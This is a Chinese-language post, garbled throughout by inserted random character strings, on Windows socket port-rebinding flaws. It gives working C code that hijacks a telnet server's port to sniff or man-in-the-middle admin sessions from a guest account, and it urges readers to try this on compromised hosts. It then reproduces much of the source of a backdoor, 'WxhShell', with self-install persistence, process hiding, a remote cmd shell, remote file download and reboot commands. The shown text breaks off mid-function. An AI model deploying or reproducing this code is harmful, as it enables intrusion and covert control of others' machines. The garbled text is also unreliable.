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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N@A#e/8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2XI%4 SA/0Z = saddr.sin_family = AF_INET; +6;OB@ w1KQ9H* saddr.sin_addr.s_addr = htonl(INADDR_ANY); aoJ&< vl3 ED$gnFa3I bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gf3/ kll9 3[e@mcO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1:&$0jU&U Br yMq ! 这意味着什么?意味着可以进行如下的攻击: He]F~GXP ntF(K/~Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #JW1JCT
f
a\cLC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fe0 Y^vW |QzPY8B9O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nB:Bw8U"Q T4f:0r;^f* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 mWGT
(`|~/ ';lO[B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }>OE"#si QU#/(N(U#T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zh4o<f:- snK9']WXo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
A{c6XQR~z |BW956fBU #include }YSH8d #include 6XG+YIG6w #include S3=J1R, #include ,2cw9?< DWORD WINAPI ClientThread(LPVOID lpParam); *Z0}0<
D@Z int main() 2xnOWW { hT
Xc0 WORD wVersionRequested; ~j4=PT DWORD ret; LSfj7j` WSADATA wsaData; (*;u{m= BOOL val; MD
On; Af> SOCKADDR_IN saddr; qMUqd}=P SOCKADDR_IN scaddr; \agC Q& int err; ?3|ZS8y SOCKET s; eU12*( SOCKET sc; Th8Q~*v int caddsize; pE`(kD HANDLE mt; \UC4ai2MK DWORD tid; 1rKR=To wVersionRequested = MAKEWORD( 2, 2 ); gTq-\k( err = WSAStartup( wVersionRequested, &wsaData ); +amvQ];?Q8 if ( err != 0 ) { >Y,7>ahyt printf("error!WSAStartup failed!\n"); *PI3L/* return -1; ^Uf`w7"iY } h\dIp`H saddr.sin_family = AF_INET;
h!Q>h7 %*/[aq, # //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'v,W
gPe =DCQ!02 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ydFY<Mb(o saddr.sin_port = htons(23); >:xnjEsi$/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >2|#b { K
l4", printf("error!socket failed!\n"); "s*{0'jo return -1; kQb0pfYs } QxkfP %_g val = TRUE; jsG9{/Ov3 //SO_REUSEADDR选项就是可以实现端口重绑定的
[:k'VXL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hh?'tb{ { ,S8Vfb & printf("error!setsockopt failed!\n"); 1dq.UW\ return -1; 6RF01z|~_ } ENmo^O#,u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e}?t[aK4# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~\/ J& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y#MLxm G]S E
A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0N}5sF { s,}<5N]U ret=GetLastError(); 4a 5n*6G! printf("error!bind failed!\n"); :vr,@1c return -1; }+B7C2_\ } f&`*x t/ listen(s,2); \?g%>D:O; while(1) \uYUX~}i" { >hhd9 caddsize = sizeof(scaddr); 646yeQ1 //接受连接请求 M&K@><6k,k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J8%|Gd0#4 if(sc!=INVALID_SOCKET) IQ_0[ { nFP2wvFM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P]TT if(mt==NULL) Brl6r8LGi { EvYw$j printf("Thread Creat Failed!\n"); <Kh\i'8 break; =UV?Pi*M> } Y[H_?f=;% } )FP|}DCxQ CloseHandle(mt); 0L1P'*LRU } .$yw;go3 closesocket(s); Q\oUZnD$= WSACleanup(); }}2kA return 0; 5A)w.i&V } GBQb({ DWORD WINAPI ClientThread(LPVOID lpParam) BOWTH{KR<< { r:q#l~;^ SOCKET ss = (SOCKET)lpParam; :b>|U"ux SOCKET sc; q5A+%# unsigned char buf[4096]; <r kW4 SOCKADDR_IN saddr; RgO 7> T\ long num; 29]8[Z,4 DWORD val; 79V5{2Y*U DWORD ret; K c<z; //如果是隐藏端口应用的话,可以在此处加一些判断 \(CW?9) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 }.'%gJrS saddr.sin_family = AF_INET; !vB%Q$!x saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AWi87q saddr.sin_port = htons(23); R',w~1RV' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rEf\|x=st: { "tark' printf("error!socket failed!\n"); 4Rm3'Ch return -1; xsvs3y | } 7L]?)2= val = 100; $7r
wara if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KCFwO' { <7 rK ret = GetLastError(); LJ)) return -1; =gn}_sKNE } +E:(-$"R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I Q L~I13 { HLk"a-+' ret = GetLastError(); aC},h return -1; F:g{rm[ } :2My|3H\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z]YhQIU4n8 { 85fDuJ9$Z" printf("error!socket connect failed!\n"); AN>`M?EQ closesocket(sc); u
s0'7|{q closesocket(ss); =tNiIU return -1; Tc(R-Wi } VB\6SG while(1) 9c^EoYpy- { ;40m goN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <f6PULm //如果是嗅探内容的话,可以再此处进行内容分析和记录 $.1'Ym //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HH#i.s2 num = recv(ss,buf,4096,0); PPPwDsJ if(num>0) /RC!Yi send(sc,buf,num,0); de6dLT>m else if(num==0) 2P
?Iu& break; >>cd3)b num = recv(sc,buf,4096,0); h6e$$-_ if(num>0) rsv!mY,Em send(ss,buf,num,0); 713M4CtJ else if(num==0) qlJOb}$ I break; 4sQAR6_SW~ } @>@Nug2 closesocket(ss); QL2y,?Mz7 closesocket(sc); 3R*@m return 0 ; X-,y[ ) } 5)7mjyo% /vDF<HVzm 55LF ========================================================== 1hyah.i]Y mv.I.EL 下边附上一个代码,,WXhSHELL V^z;^mdd Q$0%~`t ========================================================== HdUW(FZ KL mB #include "stdafx.h" -C}59G8 -l@W)?$ #include <stdio.h> b=UMoWS #include <string.h> (VAL.v* #include <windows.h> .K1E1Z_ #include <winsock2.h> BDRVT Y(s #include <winsvc.h> k#5e:VOb #include <urlmon.h> a.IF%hP0xo }.) 43(>] #pragma comment (lib, "Ws2_32.lib") 4_I{Q^f #pragma comment (lib, "urlmon.lib") 2P_^@g $ F7gH #define MAX_USER 100 // 最大客户端连接数 .GN$H>') #define BUF_SOCK 200 // sock buffer "EYjY-> #define KEY_BUFF 255 // 输入 buffer Mgs|*u-5 V8$bPVps #define REBOOT 0 // 重启 B9Q.s #define SHUTDOWN 1 // 关机 t/WnDR/fM W+
'}O< #define DEF_PORT 5000 // 监听端口 7B\(r~f`t ]3,.g)U*m #define REG_LEN 16 // 注册表键长度 W7=_u+0d #define SVC_LEN 80 // NT服务名长度 \y`3Lh Y )v{41sM+ // 从dll定义API -xu.=n@, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); by]|O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <1+6O[>{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x5z4Yv^
m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OG+r|.N; ,(27p6! // wxhshell配置信息 ~!-8l&C struct WSCFG { \e8*vos int ws_port; // 监听端口 nYy}''l< char ws_passstr[REG_LEN]; // 口令 KbdfSF$ int ws_autoins; // 安装标记, 1=yes 0=no HL}~W}!j char ws_regname[REG_LEN]; // 注册表键名 %
r Y8 char ws_svcname[REG_LEN]; // 服务名 \seG2vw$ char ws_svcdisp[SVC_LEN]; // 服务显示名 Rfc&OV char ws_svcdesc[SVC_LEN]; // 服务描述信息 `vxrC&,As char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kqvJ&7 int ws_downexe; // 下载执行标记, 1=yes 0=no ^=Ct Aa2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $:E}Nj]{& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $%%>n^?? vZeYp }; >_aio4j}r QiE<[QP{g // default Wxhshell configuration )cKtc struct WSCFG wscfg={DEF_PORT, L^Q+Q)zTh "xuhuanlingzhe", ,Q=)$ `% 1, Eh@T W%9* "Wxhshell", +
lB+|yJ+ "Wxhshell", +#uNQ`1v "WxhShell Service", )*K<;WIWH "Wrsky Windows CmdShell Service", n*i'v tQ8 "Please Input Your Password: ", mOgOHb2 1, #}!>iFBcH " http://www.wrsky.com/wxhshell.exe", zRy5,,i5=[ "Wxhshell.exe" myWmU0z/ }; Qyv'nx0= 'ztL3(|X6 // 消息定义模块 B3>Uba*-)} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \l]pe|0EW char *msg_ws_prompt="\n\r? for help\n\r#>"; 'y6!%k* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; {y&\?'L' char *msg_ws_ext="\n\rExit."; Y%)h)El
char *msg_ws_end="\n\rQuit."; @nx}6?p\, char *msg_ws_boot="\n\rReboot..."; 9Z0CF~Y5 char *msg_ws_poff="\n\rShutdown..."; 9]L! . char *msg_ws_down="\n\rSave to "; [7e{=\`= ;o)=XEh8P char *msg_ws_err="\n\rErr!"; S#h'\/S char *msg_ws_ok="\n\rOK!"; `\ef0 Z<N&UFw7QJ char ExeFile[MAX_PATH]; P~\a)Szy int nUser = 0; +%
XhQ HANDLE handles[MAX_USER]; sWsG,v_ int OsIsNt; "y~muE:. NF/Ti5y SERVICE_STATUS serviceStatus; b=K6IX; SERVICE_STATUS_HANDLE hServiceStatusHandle; 5%QC
][, qIDWl{b< // 函数声明 {1Ju}=69 int Install(void); )l#%.Z9 int Uninstall(void); ]g>m? \'n int DownloadFile(char *sURL, SOCKET wsh); GJC!0{8; int Boot(int flag); 0q[p{_t` void HideProc(void); L}}=yh6r int GetOsVer(void); "%oH@
= int Wxhshell(SOCKET wsl); DJViy void TalkWithClient(void *cs); 3?.1~ "-J int CmdShell(SOCKET sock); :BL'>V int StartFromService(void); [y|^P\D int StartWxhshell(LPSTR lpCmdLine); `Di ^6UK( ;|>q zx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?w]"~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); }uF[Ra sf |oNOz // 数据结构和表定义 |rE!
SERVICE_TABLE_ENTRY DispatchTable[] = t} *l?$` { %[]"QbF? {wscfg.ws_svcname, NTServiceMain}, tt6.
jo {NULL, NULL} k9}Q7) @ }; [&h#iTRT ^&+zA,aL,A // 自我安装 cWN d<=Jp int Install(void) J3/\<=Qh { xm<v">< char svExeFile[MAX_PATH]; '1W!xQ}E HKEY key; Js\-['` strcpy(svExeFile,ExeFile); /S:w&5e {S5RK-ax // 如果是win9x系统,修改注册表设为自启动 N]1V1c$G* if(!OsIsNt) { A Gv!c($ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +
,@ FxZl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FU_fCL8yA RegCloseKey(key); :3f-9aRC! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <8u>_o6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WGH%92 RegCloseKey(key); ,>D ja59 return 0; F>(qOH.I } <Q2u)m' } 7JbY}@ } =nJ{$%L\x, else { <+V-k| ?qju
DD // 如果是NT以上系统,安装为系统服务 d{er|$E? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B4`2.yRis if (schSCManager!=0) fuq(
2&^ { "6?lQw
e SC_HANDLE schService = CreateService iaY5JEV:CA ( !Tv?%? 2l schSCManager, CPVzX%= wscfg.ws_svcname, /_]ltX D wscfg.ws_svcdisp, :W~6F*A SERVICE_ALL_ACCESS, o^HNF+sm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I[}75:^Rt SERVICE_AUTO_START, ?q\FLb%"7 SERVICE_ERROR_NORMAL, %dEB /[ svExeFile, 3\;v5D: NULL, d)N^PJ/ NULL, j]rXoV> NULL, /+>)"D6' NULL, oFWt(r NULL +`ai1-vw ); 59V#FWe- if (schService!=0) OkLz^R?d { Hal7
MP CloseServiceHandle(schService); }K2
/&kZ CloseServiceHandle(schSCManager); "[k1D_PZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b)N[[sOt strcat(svExeFile,wscfg.ws_svcname); xpF](>LC( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x
Sv-;!y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <>%,}j
9 RegCloseKey(key); M(yH%i^A return 0; KacR?Al }
Do|]eD } t{!/#eQC CloseServiceHandle(schSCManager); )IQ* } VM7 !0 } $H'8
#:[d_ WP}ixcq# return 1; C@1CanL@3 } Q8p=!K m#JI!_~! // 自我卸载 C;9t">prk int Uninstall(void) ny)]GvxI { YydA6IK4 HKEY key; ?]^zD k@~ WZq,()h if(!OsIsNt) { 98GlhogWt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .;9jdGBf RegDeleteValue(key,wscfg.ws_regname); *.oKI@ RegCloseKey(key); ~/2g)IS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {;*}WPYb RegDeleteValue(key,wscfg.ws_regname); ]bm=LA RegCloseKey(key); </= CZy5w return 0; 5y]io
Jc9- } 6Opa{] } r088aUO
P } {(4# )K2g% else { Wbe0ZnM] 3)3Hck
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KF+mZB if (schSCManager!=0) ld.7`) { L7]]ZAH!1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pE2QnNr' if (schService!=0) Ea-bC:> { 4jQ'+ 2it if(DeleteService(schService)!=0) { 61} i5o CloseServiceHandle(schService); /t*YDWLg CloseServiceHandle(schSCManager); `z9J`r=I return 0; C ZJV_0 } .oEbEs CloseServiceHandle(schService); iRNLKi } `?"6l5d.] CloseServiceHandle(schSCManager); fxd0e;NAAh } B8 H75sz } ;$7v%Ls= }x:0os return 1; 4J5pXlzV } FbAW_Am( !;v.>.lw
// 从指定url下载文件 OUI6
ax\[ int DownloadFile(char *sURL, SOCKET wsh) g\Ak;03n { 9C/MRmv` HRESULT hr; v>H=,.`0\ char seps[]= "/"; D<bI2 char *token; G(/DtY] char *file; %?9Ok char myURL[MAX_PATH]; z\T Lsx char myFILE[MAX_PATH]; Lg4YED9# /ylc*3e'4 strcpy(myURL,sURL); 9[VxskEh token=strtok(myURL,seps); /1d<P! H while(token!=NULL) "UG
K8x { &J$##B file=token; (u&`Ij9 token=strtok(NULL,seps); e4\dpvL } W\8Ln> Z(e^ iH GetCurrentDirectory(MAX_PATH,myFILE); ?qmp_2:WU strcat(myFILE, "\\"); _'!kuE,*1 strcat(myFILE, file); GS;%zdH~ send(wsh,myFILE,strlen(myFILE),0); e)@3m. send(wsh,"...",3,0); j+kC-U; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8md*wEjk if(hr==S_OK) &^!h}D%T/ return 0; 8AL\ST51x" else 6ZOy&fd,Ty return 1; <??umkV 6o=G8y } gl8Ib<{ Q`ME@vz // 系统电源模块 S_b/DO int Boot(int flag) q/PNJ#< { `)Ky0&? HANDLE hToken; \+m$ TOKEN_PRIVILEGES tkp; *jITOR!uF` 7 ^$; if(OsIsNt) { <+v{GF#R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o&SSvW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pf&ag#nr tkp.PrivilegeCount = 1; t
Rm+? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s^hR\iY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eGL<vX if(flag==REBOOT) { tg\|? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2eb1lJdS return 0; 3<:jx~y> } !L$x:/R9M else { ?X9UTOx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4w93}t.z return 0; Z[?mc|*x } e,0-)?5R } 3n]79+w@z else { [XR$F@o if(flag==REBOOT) { :TalW~r| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UvJ;A return 0; h6v07 7qG } b5a.go else { q7\Ovjs0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -c*\o3) return 0; swcd&~9r } >IfV\w32 } f&KdlpxKv k N7Bd} return 1; Bc5+ss } vXE0%QE'Q &,:h) // win9x进程隐藏模块 `A@w7J' void HideProc(void) w@-M{?R { j;0vAf G`0V)S HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); viX
+|A4gJ if ( hKernel != NULL ) g>JLDQdc { ;i<jhNA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j5$GFi\kB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o\VUD FreeLibrary(hKernel); (s<s@` } ;C.S3} i^msjA return; ac{?+]8} } L%"LlSg C[sh, // 获取操作系统版本 6gL-OJNo int GetOsVer(void) T{v>-xBRy { w_tJ7pz8T OSVERSIONINFO winfo; (Z]HX@"{J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [iP#VM-N GetVersionEx(&winfo); ;&b.T}Nf06 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C1kYl0zR[ return 1; ]=pR else /YAJbr return 0; +0Q,vK#j^ } Fh$slow4! yLE7>48 // 客户端句柄模块 M5357Q int Wxhshell(SOCKET wsl) NPa\Cg[ { co8"sz0(U SOCKET wsh; ').}N z struct sockaddr_in client; ypOLp SYk DWORD myID; "Jq8?FoT V~G`kkNy while(nUser<MAX_USER) Mj#-j/{x{5 { 1\*\?\T>_ int nSize=sizeof(client); F,BOgWwP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'xY@ x-o if(wsh==INVALID_SOCKET) return 1; !E8X~DJ w'MGA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V"\0Y0 if(handles[nUser]==0) *iBTI+"] closesocket(wsh); H,3\0BKk else OJ|r6 nUser++; :}8Z@H!KkY } ,l YE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W!Hm~9fz ^&@w$ return 0; >@xrs } EP'h@zdz @hQlrq5c // 关闭 socket Q/uwQo/ void CloseIt(SOCKET wsh) g- AHdYJ { [qUN 4x5b closesocket(wsh); }D411228 nUser--; jp8@vdRg ExitThread(0); . o7m! } `nM/l@ o8/;;* // 客户端请求句柄 4;n6I)&.( void TalkWithClient(void *cs) #} ~qqJ G2 { -}O1dEn. vE@!{* SOCKET wsh=(SOCKET)cs;
{vUN+We char pwd[SVC_LEN]; &,A64y char cmd[KEY_BUFF]; ?Nf>]|K:Q char chr[1]; 1tTgP+ int i,j; (~CLn;' AjcX N while (nUser < MAX_USER) { MYJg8 '[j m(RXJORI if(wscfg.ws_passstr) { *n"/a{6> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UcBe'r}G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r.3/F[. //ZeroMemory(pwd,KEY_BUFF); j
8*ZF i=0; mMsTyM-f while(i<SVC_LEN) { +zXEYc w(kf // 设置超时 pyLRgD0
g fd_set FdRead; kB?al#` struct timeval TimeOut; 'WaPrCw@Mf FD_ZERO(&FdRead); 5`
Te\H FD_SET(wsh,&FdRead); I2nF-JzD2a TimeOut.tv_sec=8; 3vcO!6Z5 TimeOut.tv_usec=0; |f~@8|MQP+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .CL^BiD.D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ee%fqVQ8P ~gB>) ] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ZY)M pwd =chr[0]; ?\C"YG69T if(chr[0]==0xd || chr[0]==0xa) { ,'[<bP'%_ pwd=0; B<j'm0a>B break; %K(<$! } pw7[y^[Qg i++; @u==x*{| } -@T/b$]'n zSo)k~&[3 // 如果是非法用户,关闭 socket Q+4Xs.# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T,|
1g6 } _g1b{$ r.4LU send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !r#?C9Sq send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -S3MH1TZ $O9^SB while(1) { Neg,qOt !9Aaj<yxm ZeroMemory(cmd,KEY_BUFF);
=-_B:d; EwOV;>@T? // 自动支持客户端 telnet标准 =bEda] j=0; K|dso]b/ while(j<KEY_BUFF) { w@N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h;6lK$!c cmd[j]=chr[0]; y|'SXM if(chr[0]==0xa || chr[0]==0xd) { } CeCc0M cmd[j]=0; 7o8{mp'_ break; V<Z[ nq } MEwo}=B j++; v4C{<8:X } /_`lz^ gx%|Pgd // 下载文件 ABUSTf< if(strstr(cmd,"http://")) { @}u9Rn*d; send(wsh,msg_ws_down,strlen(msg_ws_down),0); ],P;WPU if(DownloadFile(cmd,wsh)) v{}#?=I5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,"B+r6}EF else Iu$K i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =i~}84> } -jMJAYj V else { G "73=8d ~%YBI9$+ switch(cmd[0]) { *zr(Zv 6`f2-f9%iq // 帮助 ">#wOm+ + case '?': { cReB~wk send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E9~Ghx. break; 33!oS&L } o7|eMe?<t // 安装 8MSC.0 case 'i': { trAkcYd if(Install()) <:?r:fQX send(wsh,msg_ws_err,strlen(msg_ws_err),0); OF\rgz else L'u\w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @|\}.M<e*) break; =jN*P? } }Hn/I,/ // 卸载 O }
f80K case 'r': { ^MVkZ{gtre if(Uninstall()) 9/nn)soC3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0:+WO%z else {?yr'* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hla0 5N' 4 break; V,$0p1?J } ]Ux<aiY]a
// 显示 wxhshell 所在路径 5H ue7'LS case 'p': { 8 XU1/i7N char svExeFile[MAX_PATH]; >Q(3*d > strcpy(svExeFile,"\n\r"); 3+XOZh8 strcat(svExeFile,ExeFile); 3`k;a1Z#O' send(wsh,svExeFile,strlen(svExeFile),0); {~F4WjHJp break; KQ~i<1&j } 7AObC4 g // 重启 mya_4I
m case 'b': { ;Rv!k&Df send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5O\*h;U 6 if(Boot(REBOOT)) ['T:ea6B send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;aw=MV else { _'(, closesocket(wsh); uuQ(& ExitThread(0); o93`|yWl } cJrmm2.0kD break; -4cXRv] } qTqwPWW* // 关机 rwI case 'd': { 5F~'gLH/F- send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~-I+9F if(Boot(SHUTDOWN)) %HL*c= send(wsh,msg_ws_err,strlen(msg_ws_err),0); E160A5BTx else { :53)Nv closesocket(wsh); nVi[ ExitThread(0); (vTtDKp@ } !TUrQ break; ,gS;m
&!'J } ;1a~pF S // 获取shell !1ED~3/X case 's': {
Z
/9> CmdShell(wsh); C_7+a@?B closesocket(wsh); 6b:tyQ ExitThread(0); sJDas,7> break; v-PXZ'7~ } 1~PV[2a // 退出
~/P&Tub^ case 'x': { #E&80#Z5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {j7uv"|X7 CloseIt(wsh); ^pYxKU_O break; 4y+< dw } yrlf+tl // 离开 Y 1t\iU case 'q': { w/kt3Lw send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6*3.SGUY closesocket(wsh); RS^lKJ1 U WSACleanup(); L>3x9 exit(1); hy`?E6=9+ break; gy_>`16K } /\hzb/ } HbxL:~:}J } |g//g\dd |y2w9n0D // 提示信息 k@'#@
t if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sPR1?:0: } MP>dW nl } `-p:vq` OEkN(wF return; fe9LEM8j } [Ki0b^ -&-Ma,M? // shell模块句柄 +>r/ 0b int CmdShell(SOCKET sock) o/+13C { SF>c\eTtx STARTUPINFO si; c5u@pvSP ZeroMemory(&si,sizeof(si)); cj1cZ- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ekWePL;rR2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f>N!wgo[ PROCESS_INFORMATION ProcessInfo;
wwyPl char cmdline[]="cmd"; #N`~xZ|$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *exS6@N] return 0; e8GEoD } <kx&w(= * iF]n2g: // 自身启动模式 !y@6Mm int StartFromService(void) CW,Wx: Y { l\@)y4
+ typedef struct ::}{_ Z { s;6CExH DWORD ExitStatus; * /:x sI DWORD PebBaseAddress; lp(8E6 DWORD AffinityMask; }Nf%n@ DWORD BasePriority; H{=21\a\ ULONG UniqueProcessId; ~V\D|W9 ULONG InheritedFromUniqueProcessId; E( Z8 } PROCESS_BASIC_INFORMATION; mD^jd+ w .?:SD PROCNTQSIP NtQueryInformationProcess; WjlZ6g2i xo7Kn+ Kl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `|ASx8_! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :(M(>4t "C I=`= HANDLE hProcess; !0vG|C;' PROCESS_BASIC_INFORMATION pbi; uA#P'? z{o'
